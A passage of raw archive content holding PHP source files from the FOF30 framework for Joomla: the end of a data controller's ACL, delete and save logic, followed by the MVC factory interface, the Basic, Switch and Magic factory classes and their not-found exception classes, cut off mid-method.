$model->load($id); if (!$model->hasField('created_by')) { return false; } // Now test the owner is the user. $owner_id = (int) $model->getFieldValue('created_by', null); // If the owner matches 'me' then do the test. if ($owner_id == $platform->getUser()->id) { return true; } return false; } } // No result found? Not authorised. return false; } protected function deleteOrTrash($forceDelete = false) { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } if ($forceDelete) { $model->forceDelete(); } else { $model->delete(); } } } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_DELETED'); $this->setRedirect($url, Text::_($textKey)); } } /** * Common method to handle apply and save tasks * * @return bool True on success */ protected function applySave() { // Load the model $model = $this->getModel()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model, true); } $userId = $this->container->platform->getUser()->id; $id = $model->getId(); $data = $this->input->getData(); if ($model->isLocked($userId)) { try { $model->checkIn($userId); } catch (LockedRecord $e) { // Redirect to the display task if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $eventName = 'onAfterApplySaveError'; $result = $this->triggerEvent($eventName, [&$data, $id, $e]); $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, $e->getMessage(), 'error'); return false; } } // Set the layout to form, if it's not set in the URL if (is_null($this->layout)) { $this->layout = 'form'; } // Save the data $status = true; $error = null; try { $eventName = 'onBeforeApplySave'; $result = $this->triggerEvent($eventName, [&$data]); if ($id != 0) { // Try to check-in the record if it's not a new one $model->unlock(); } // Save the data $model->save($data); $eventName = 'onAfterApplySave'; $result = $this->triggerEvent($eventName, [&$data, $model->getId()]); $this->input->set('id', $model->getId()); } catch (\Exception $e) { $status = false; $error = $e->getMessage(); $eventName = 'onAfterApplySaveError'; $result = $this->triggerEvent($eventName, [&$data, $model->getId(), $e]); } if (!$status) { // Cache the item data in the session. We may need to reuse them if the save fails. $itemData = $model->getData(); $sessionKey = $this->viewName . '.savedata'; $this->container->platform->setSessionVar($sessionKey, $itemData, $this->container->componentName); // Redirect on error $id = $model->getId(); if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } if (!empty($customURL)) { $url = $customURL; } elseif ($id != 0) { $url = 'index.php?option=' . $this->container->componentName . '&view=' . $this->view . '&task=edit&id=' . $id . $this->getItemidURLSuffix(); } else { $url = 'index.php?option=' . $this->container->componentName . '&view=' . $this->view . '&task=add' . $this->getItemidURLSuffix(); } $this->setRedirect($url, $error, 'error'); } else { $sessionKey = $this->viewName . '.savedata'; $this->container->platform->setSessionVar($sessionKey, null, $this->container->componentName); } return $status; } /** * Gets the applicable ACL privilege for the apply and save tasks. The value returned is: * - @add if the record's ID is empty / record doesn't exist * - True if the ACL privilege of the edit task (@edit) is allowed * - @editown if the owner of the record (field user_id, userid or user) is the same as the logged in user * - False if the record is not owned by the logged in user and the user doesn't have the @edit privilege * * @return bool|string */ protected function getACLForApplySave() { $model = $this->getModel(); if (!$model->getId()) { $this->getIDsFromRequest($model, true); } $id = $model->getId(); if (!$id) { return '@add'; } if ($this->checkACL('@edit')) { return true; } $user = $this->container->platform->getUser(); $uid = 0; if ($model->hasField('user_id')) { $uid = $model->getFieldValue('user_id'); } elseif ($model->hasField('userid')) { $uid = $model->getFieldValue('userid'); } elseif ($model->hasField('user')) { $uid = $model->getFieldValue('user'); } if (!empty($uid) && !$user->guest && ($user->id == $uid)) { return '@editown'; } return false; } } PK���\�/vZ� � "fof30/Factory/FactoryInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Controller\Controller; use FOF30\Dispatcher\Dispatcher; use FOF30\Model\Model; use FOF30\Toolbar\Toolbar; use FOF30\TransparentAuthentication\TransparentAuthentication; use FOF30\View\View; /** * Interface for the MVC object factory */ interface FactoryInterface { /** * Public constructor for the factory object * * @param Container $container The container we belong to */ function __construct(Container $container); /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ function controller($viewName, array $config = []); /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ function model($viewName, array $config = []); /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ function view($viewName, $viewType = 'html', array $config = []); /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ function toolbar(array $config = []); /** * Creates a new Dispatcher * * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher */ function dispatcher(array $config = []); /** * Creates a new TransparentAuthentication handler * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ function transparentAuthentication(array $config = []); /** * Creates a view template finder object for a specific View * * @param View $view The view this view template finder will be attached to * @param array $config Configuration variables for the object * * @return mixed */ function viewFinder(View $view, array $config = []); /** * @return string */ public function getSection(); /** * @param string $section */ public function setSection($section); } PK���\�+���fof30/Factory/SwitchFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Controller\Controller; use FOF30\Dispatcher\Dispatcher; use FOF30\Factory\Exception\ControllerNotFound; use FOF30\Factory\Exception\DispatcherNotFound; use FOF30\Factory\Exception\ModelNotFound; use FOF30\Factory\Exception\ToolbarNotFound; use FOF30\Factory\Exception\TransparentAuthenticationNotFound; use FOF30\Factory\Exception\ViewNotFound; use FOF30\Model\Model; use FOF30\Toolbar\Toolbar; use FOF30\TransparentAuthentication\TransparentAuthentication; use FOF30\View\View; /** * MVC object factory. This implements the advanced functionality, i.e. creating MVC objects only if the classes exist * in any component section (front-end, back-end). For example, if you're in the front-end and a Model class doesn't * exist there but does exist in the back-end then the back-end class will be returned. * * The Dispatcher and Toolbar will be created from default objects if specialised classes are not found in your * application. */ class SwitchFactory extends BasicFactory implements FactoryInterface { /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller($viewName, array $config = []) { try { return parent::controller($viewName, $config); } catch (ControllerNotFound $e) { } $controllerClass = $this->container->getNamespacePrefix('inverse') . 'Controller\\' . ucfirst($viewName); try { return $this->createController($controllerClass, $config); } catch (ControllerNotFound $e) { } $controllerClass = $this->container->getNamespacePrefix('inverse') . 'Controller\\' . ucfirst($this->container->inflector->singularize($viewName)); return $this->createController($controllerClass, $config); } /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model($viewName, array $config = []) { try { return parent::model($viewName, $config); } catch (ModelNotFound $e) { } $modelClass = $this->container->getNamespacePrefix('inverse') . 'Model\\' . ucfirst($viewName); try { return $this->createModel($modelClass, $config); } catch (ModelNotFound $e) { $modelClass = $this->container->getNamespacePrefix('inverse') . 'Model\\' . ucfirst($this->container->inflector->singularize($viewName)); return $this->createModel($modelClass, $config); } } /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view($viewName, $viewType = 'html', array $config = []) { try { return parent::view($viewName, $viewType, $config); } catch (ViewNotFound $e) { } $viewClass = $this->container->getNamespacePrefix('inverse') . 'View\\' . ucfirst($viewName) . '\\' . ucfirst($viewType); try { return $this->createView($viewClass, $config); } catch (ViewNotFound $e) { $viewClass = $this->container->getNamespacePrefix('inverse') . 'View\\' . ucfirst($this->container->inflector->singularize($viewName)) . '\\' . ucfirst($viewType); return $this->createView($viewClass, $config); } } /** * Creates a new Dispatcher * * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher */ public function dispatcher(array $config = []) { $dispatcherClass = $this->container->getNamespacePrefix($this->getSection()) . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Let's go on. } $dispatcherClass = $this->container->getNamespacePrefix('inverse') . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Return the default Dispatcher return new Dispatcher($this->container, $config); } } /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []) { $toolbarClass = $this->container->getNamespacePrefix($this->getSection()) . 'Toolbar\\Toolbar'; try { return $this->createToolbar($toolbarClass, $config); } catch (ToolbarNotFound $e) { // Not found. Let's go on. } $toolbarClass = $this->container->getNamespacePrefix('inverse') . 'Toolbar\\Toolbar'; try { return $this->createToolbar($toolbarClass, $config); } catch (ToolbarNotFound $e) { // Not found. Return the default Toolbar return new Toolbar($this->container, $config); } } /** * Creates a new TransparentAuthentication * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []) { $toolbarClass = $this->container->getNamespacePrefix($this->getSection()) . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($toolbarClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Let's go on. } $toolbarClass = $this->container->getNamespacePrefix('inverse') . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($toolbarClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Return the default TransparentAuthentication return new TransparentAuthentication($this->container, $config); } } /** * Creates a view template finder object for a specific View. * * The default configuration is: * Look for .php, .blade.php files; default layout "default"; no default sub-template; * look for both pluralised and singular views; fall back to the default layout without sub-template; * look for templates in both site and admin * * @param View $view The view this view template finder will be attached to * @param array $config Configuration variables for the object * * @return mixed */ public function viewFinder(View $view, array $config = []) { // Initialise the configuration with the default values $defaultConfig = [ 'extensions' => ['.php', '.blade.php'], 'defaultLayout' => 'default', 'defaultTpl' => '', 'strictView' => false, 'strictTpl' => false, 'strictLayout' => false, 'sidePrefix' => 'any', ]; $config = array_merge($defaultConfig, $config); return parent::viewFinder($view, $config); } } PK���\�=͕��)fof30/Factory/Magic/ControllerFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Magic; defined('_JEXEC') || die; use FOF30\Controller\DataController; use FOF30\Factory\Exception\ControllerNotFound; /** * Creates a DataController object instance based on the information provided by the fof.xml configuration file */ class ControllerFactory extends BaseFactory { /** * Create a new object instance * * @param string $name The name of the class we're making * @param array $config The config parameters which override the fof.xml information * * @return DataController A new DataController object */ public function make($name = null, array $config = []) { if (empty($name)) { throw new ControllerNotFound($name); } $appConfig = $this->container->appConfig; $name = ucfirst($name); $defaultConfig = [ 'name' => $name, 'default_task' => $appConfig->get("views.$name.config.default_task", 'main'), 'autoRouting' => $appConfig->get("views.$name.config.autoRouting", 1), 'csrfProtection' => $appConfig->get("views.$name.config.csrfProtection", 2), 'viewName' => $appConfig->get("views.$name.config.viewName", null), 'modelName' => $appConfig->get("views.$name.config.modelName", null), 'taskPrivileges' => $appConfig->get("views.$name.acl"), 'cacheableTasks' => $appConfig->get("views.$name.config.cacheableTasks", [ 'browse', 'read', ]), 'taskMap' => $appConfig->get("views.$name.taskmap"), ]; $config = array_merge($defaultConfig, $config); $className = $this->container->getNamespacePrefix($this->getSection()) . 'Controller\\DefaultDataController'; if (!class_exists($className, true)) { $className = 'FOF30\\Controller\\DataController'; } $controller = new $className($this->container, $config); $taskMap = $config['taskMap']; if (is_array($taskMap) && !empty($taskMap)) { foreach ($taskMap as $virtualTask => $method) { $controller->registerTask($virtualTask, $method); } } return $controller; } } PK���\���z��8fof30/Factory/Magic/TransparentAuthenticationFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Magic; defined('_JEXEC') || die; use FOF30\Dispatcher\Dispatcher; /** * Creates a TransparentAuthentication object instance based on the information provided by the fof.xml configuration * file */ class TransparentAuthenticationFactory extends BaseFactory { /** * Create a new object instance * * @param array $config The config parameters which override the fof.xml information * * @return Dispatcher A new Dispatcher object */ public function make(array $config = []) { $appConfig = $this->container->appConfig; $defaultConfig = $appConfig->get('authentication.*'); $config = array_merge($defaultConfig, $config); $className = $this->container->getNamespacePrefix($this->getSection()) . 'TransparentAuthentication\\DefaultTransparentAuthentication'; if (!class_exists($className, true)) { $className = '\\FOF30\\TransparentAuthentication\\TransparentAuthentication'; } $dispatcher = new $className($this->container, $config); return $dispatcher; } } PK���\P��~LL$fof30/Factory/Magic/ModelFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Magic; defined('_JEXEC') || die; use FOF30\Factory\Exception\ModelNotFound; use FOF30\Model\DataModel; use FOF30\Model\TreeModel; /** * Creates a DataModel/TreeModel object instance based on the information provided by the fof.xml configuration file */ class ModelFactory extends BaseFactory { /** * Create a new object instance * * @param string $name The name of the class we're making * @param array $config The config parameters which override the fof.xml information * * @return TreeModel|DataModel A new TreeModel or DataModel object */ public function make($name = null, array $config = []) { if (empty($name)) { throw new ModelNotFound($name); } $appConfig = $this->container->appConfig; $name = ucfirst($name); $defaultConfig = [ 'name' => $name, 'use_populate' => $appConfig->get("models.$name.config.use_populate"), 'ignore_request' => $appConfig->get("models.$name.config.ignore_request"), 'tableName' => $appConfig->get("models.$name.config.tbl"), 'idFieldName' => $appConfig->get("models.$name.config.tbl_key"), 'knownFields' => $appConfig->get("models.$name.config.knownFields", null), 'autoChecks' => $appConfig->get("models.$name.config.autoChecks"), 'contentType' => $appConfig->get("models.$name.config.contentType"), 'fieldsSkipChecks' => $appConfig->get("models.$name.config.fieldsSkipChecks", []), 'aliasFields' => $appConfig->get("models.$name.field", []), 'behaviours' => $appConfig->get("models.$name.behaviors", []), 'fillable_fields' => $appConfig->get("models.$name.config.fillable_fields", []), 'guarded_fields' => $appConfig->get("models.$name.config.guarded_fields", []), 'relations' => $appConfig->get("models.$name.relations", []), ]; $config = array_merge($defaultConfig, $config); // Get the default class names $dataModelClassName = $this->container->getNamespacePrefix($this->getSection()) . 'Model\\DefaultDataModel'; if (!class_exists($dataModelClassName, true)) { $dataModelClassName = '\\FOF30\\Model\\DataModel'; } $treeModelClassName = $this->container->getNamespacePrefix($this->getSection()) . 'Model\\DefaultTreeModel'; if (!class_exists($treeModelClassName, true)) { $treeModelClassName = '\\FOF30\\Model\\TreeModel'; } try { // First try creating a TreeModel $model = new $treeModelClassName($this->container, $config); } catch (DataModel\Exception\TreeIncompatibleTable $e) { // If the table isn't a nested set, create a regular DataModel $model = new $dataModelClassName($this->container, $config); } return $model; } } PK���\V^b�#fof30/Factory/Magic/ViewFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Magic; defined('_JEXEC') || die; use FOF30\Factory\Exception\ViewNotFound; use FOF30\View\DataView\DataViewInterface; /** * Creates a DataModel/TreeModel object instance based on the information provided by the fof.xml configuration file */ class ViewFactory extends BaseFactory { /** * Create a new object instance * * @param string $name The name of the class we're making * @param string $viewType The view type, default html, possible values html, form, raw, json, csv * @param array $config The config parameters which override the fof.xml information * * @return DataViewInterface A new TreeModel or DataModel object */ public function make($name = null, $viewType = 'html', array $config = []) { if (empty($name)) { throw new ViewNotFound("[name : type] = [$name : $viewType]"); } $appConfig = $this->container->appConfig; $name = ucfirst($name); $defaultConfig = [ 'name' => $name, 'template_path' => $appConfig->get("views.$name.config.template_path"), 'layout' => $appConfig->get("views.$name.config.layout"), // You can pass something like .php => Class1, .foo.bar => Class 2 'viewEngineMap' => $appConfig->get("views.$name.config.viewEngineMap"), ]; $config = array_merge($defaultConfig, $config); $className = $this->container->getNamespacePrefix($this->getSection()) . 'View\\DataView\\Default' . ucfirst($viewType); if (!class_exists($className, true)) { $className = '\\FOF30\\View\\DataView\\' . ucfirst($viewType); } if (!class_exists($className, true)) { $className = $this->container->getNamespacePrefix($this->getSection()) . 'View\\DataView\\DefaultHtml'; } if (!class_exists($className)) { $className = '\\FOF30\\View\\DataView\\Html'; } $view = new $className($this->container, $config); return $view; } } PK���\N�Y�YY)fof30/Factory/Magic/DispatcherFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Magic; defined('_JEXEC') || die; use FOF30\Dispatcher\Dispatcher; /** * Creates a Dispatcher object instance based on the information provided by the fof.xml configuration file */ class DispatcherFactory extends BaseFactory { /** * Create a new object instance * * @param array $config The config parameters which override the fof.xml information * * @return Dispatcher A new Dispatcher object */ public function make(array $config = []) { $appConfig = $this->container->appConfig; $defaultConfig = $appConfig->get('dispatcher.*'); $config = array_merge($defaultConfig, $config); $className = $this->container->getNamespacePrefix($this->getSection()) . 'Dispatcher\\DefaultDispatcher'; if (!class_exists($className, true)) { $className = '\\FOF30\\Dispatcher\\Dispatcher'; } $dispatcher = new $className($this->container, $config); return $dispatcher; } } PK���\T�ˆ��#fof30/Factory/Magic/BaseFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Magic; defined('_JEXEC') || die; use FOF30\Container\Container; abstract class BaseFactory { /** * @var Container|null The container where this factory belongs to */ protected $container = null; /** * Section used to build the namespace prefix. * * @var string */ protected $section = 'auto'; /** * Public constructor * * @param Container $container The container we belong to */ public function __construct(Container $container) { $this->container = $container; } /** * @return string */ public function getSection() { return $this->section; } /** * @param string $section */ public function setSection($section) { $this->section = $section; } } PK���\�W^�HH.fof30/Factory/Exception/DispatcherNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class DispatcherNotFound extends RuntimeException { public function __construct($dispatcherClass, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_DISPATCHER_ERR_NOT_FOUND', $dispatcherClass); parent::__construct($message, $code, $previous); } } PK���\����>>.fof30/Factory/Exception/ControllerNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class ControllerNotFound extends RuntimeException { public function __construct($controller, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_CONTROLLER_ERR_NOT_FOUND', $controller); parent::__construct($message, $code, $previous); } } PK���\���,LL=fof30/Factory/Exception/TransparentAuthenticationNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class TransparentAuthenticationNotFound extends RuntimeException { public function __construct($taClass, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_TRANSPARENTAUTH_ERR_NOT_FOUND', $taClass); parent::__construct($message, $code, $previous); } } PK���\��r�<<+fof30/Factory/Exception/ToolbarNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class ToolbarNotFound extends RuntimeException { public function __construct($toolbarClass, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_TOOLBAR_ERR_NOT_FOUND', $toolbarClass); parent::__construct($message, $code, $previous); } } PK���\��-�00(fof30/Factory/Exception/ViewNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class ViewNotFound extends RuntimeException { public function __construct($viewClass, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_VIEW_ERR_NOT_FOUND', $viewClass); parent::__construct($message, $code, $previous); } } PK���\<��44)fof30/Factory/Exception/ModelNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class ModelNotFound extends RuntimeException { public function __construct($modelClass, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_MODEL_ERR_NOT_FOUND', $modelClass); parent::__construct($message, $code, $previous); } } PK���\������fof30/Factory/MagicFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory; defined('_JEXEC') || die; use FOF30\Controller\Controller; use FOF30\Factory\Exception\ControllerNotFound; use FOF30\Factory\Exception\DispatcherNotFound; use FOF30\Factory\Exception\ModelNotFound; use FOF30\Factory\Exception\TransparentAuthenticationNotFound; use FOF30\Factory\Exception\ViewNotFound; use FOF30\Factory\Magic\DispatcherFactory; use FOF30\Factory\Magic\TransparentAuthenticationFactory; use FOF30\Model\Model; use FOF30\Toolbar\Toolbar; use FOF30\TransparentAuthentication\TransparentAuthentication; use FOF30\View\View; /** * Magic MVC object factory. This factory will "magically" create MVC objects even if the respective classes do not * exist, based on information in your fof.xml file. * * Note: This factory class will ONLY look for MVC objects in the same component section (front-end, back-end) you are * currently running in. If they are not found a new one will be created magically. */ class MagicFactory extends BasicFactory implements FactoryInterface { /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller($viewName, array $config = []) { try { return parent::controller($viewName, $config); } catch (ControllerNotFound $e) { $magic = new Magic\ControllerFactory($this->container); return $magic->make($viewName, $config); } } /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model($viewName, array $config = []) { try { return parent::model($viewName, $config); } catch (ModelNotFound $e) { $magic = new Magic\ModelFactory($this->container); return $magic->make($viewName, $config); } } /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view($viewName, $viewType = 'html', array $config = []) { try { return parent::view($viewName, $viewType, $config); } catch (ViewNotFound $e) { $magic = new Magic\ViewFactory($this->container); return $magic->make($viewName, $viewType, $config); } } /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []) { $appConfig = $this->container->appConfig; $defaultConfig = [ 'useConfigurationFile' => true, 'renderFrontendButtons' => in_array($appConfig->get("views.*.config.renderFrontendButtons"), [ true, 'true', 'yes', 'on', 1, ]), 'renderFrontendSubmenu' => in_array($appConfig->get("views.*.config.renderFrontendSubmenu"), [ true, 'true', 'yes', 'on', 1, ]), ]; $config = array_merge($defaultConfig, $config); return parent::toolbar($config); } public function dispatcher(array $config = []) { $dispatcherClass = $this->container->getNamespacePrefix() . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Return the magically created Dispatcher $magic = new DispatcherFactory($this->container); return $magic->make($config); } } /** * Creates a new TransparentAuthentication handler * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []) { $authClass = $this->container->getNamespacePrefix() . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($authClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Return the magically created TA $magic = new TransparentAuthenticationFactory($this->container); return $magic->make($config); } } } PK���\�6Q�w2w2fof30/Factory/BasicFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Controller\Controller; use FOF30\Dispatcher\Dispatcher; use FOF30\Factory\Exception\ControllerNotFound; use FOF30\Factory\Exception\DispatcherNotFound; use FOF30\Factory\Exception\ModelNotFound; use FOF30\Factory\Exception\ToolbarNotFound; use FOF30\Factory\Exception\TransparentAuthenticationNotFound; use FOF30\Factory\Exception\ViewNotFound; use FOF30\Model\Model; use FOF30\Toolbar\Toolbar; use FOF30\TransparentAuthentication\TransparentAuthentication; use FOF30\View\View; use FOF30\View\ViewTemplateFinder; use RuntimeException; /** * MVC object factory. This implements the basic functionality, i.e. creating MVC objects only if the classes exist in * the same component section (front-end, back-end) you are currently running in. The Dispatcher and Toolbar will be * created from default objects if specialised classes are not found in your application. */ class BasicFactory implements FactoryInterface { /** @var Container The container we belong to */ protected $container = null; /** * Section used to build the namespace prefix. * * @var string */ protected $section = 'auto'; /** * Public constructor for the factory object * * @param Container $container The container we belong to */ public function __construct(Container $container) { $this->container = $container; } /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller($viewName, array $config = []) { $controllerClass = $this->container->getNamespacePrefix($this->getSection()) . 'Controller\\' . ucfirst($viewName); try { return $this->createController($controllerClass, $config); } catch (ControllerNotFound $e) { } $controllerClass = $this->container->getNamespacePrefix($this->getSection()) . 'Controller\\' . ucfirst($this->container->inflector->singularize($viewName)); $controller = $this->createController($controllerClass, $config); return $controller; } /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model($viewName, array $config = []) { $modelClass = $this->container->getNamespacePrefix($this->getSection()) . 'Model\\' . ucfirst($viewName); try { return $this->createModel($modelClass, $config); } catch (ModelNotFound $e) { } $modelClass = $this->container->getNamespacePrefix($this->getSection()) . 'Model\\' . ucfirst($this->container->inflector->singularize($viewName)); $model = $this->createModel($modelClass, $config); return $model; } /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view($viewName, $viewType = 'html', array $config = []) { $container = $this->container; $prefix = $this->container->getNamespacePrefix($this->getSection()); $viewClass = $prefix . 'View\\' . ucfirst($viewName) . '\\' . ucfirst($viewType); try { return $this->createView($viewClass, $config); } catch (ViewNotFound $e) { } $viewClass = $prefix . 'View\\' . ucfirst($container->inflector->singularize($viewName)) . '\\' . ucfirst($viewType); $view = $this->createView($viewClass, $config); return $view; } /** * Creates a new Dispatcher * * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher */ public function dispatcher(array $config = []) { $dispatcherClass = $this->container->getNamespacePrefix($this->getSection()) . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Return the default Dispatcher return new Dispatcher($this->container, $config); } } /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []) { $toolbarClass = $this->container->getNamespacePrefix($this->getSection()) . 'Toolbar\\Toolbar'; try { return $this->createToolbar($toolbarClass, $config); } catch (ToolbarNotFound $e) { // Not found. Return the default Toolbar return new Toolbar($this->container, $config); } } /** * Creates a new TransparentAuthentication handler * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []) { $authClass = $this->container->getNamespacePrefix($this->getSection()) . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($authClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Return the default TA return new TransparentAuthentication($this->container, $config); } } /** * Creates a view template finder object for a specific View * * The default configuration is: * Look for .php, .blade.php files; default layout "default"; no default sub-template; * look only for the specified view; do NOT fall back to the default layout or sub-template; * look for templates ONLY in site or admin, depending on where we're running from * * @param View $view The view this view template finder will be attached to * @param array $config Configuration variables for the object * * @return ViewTemplateFinder * * @throws Exception */ public function viewFinder(View $view, array $config = []) { // Initialise the configuration with the default values $defaultConfig = [ 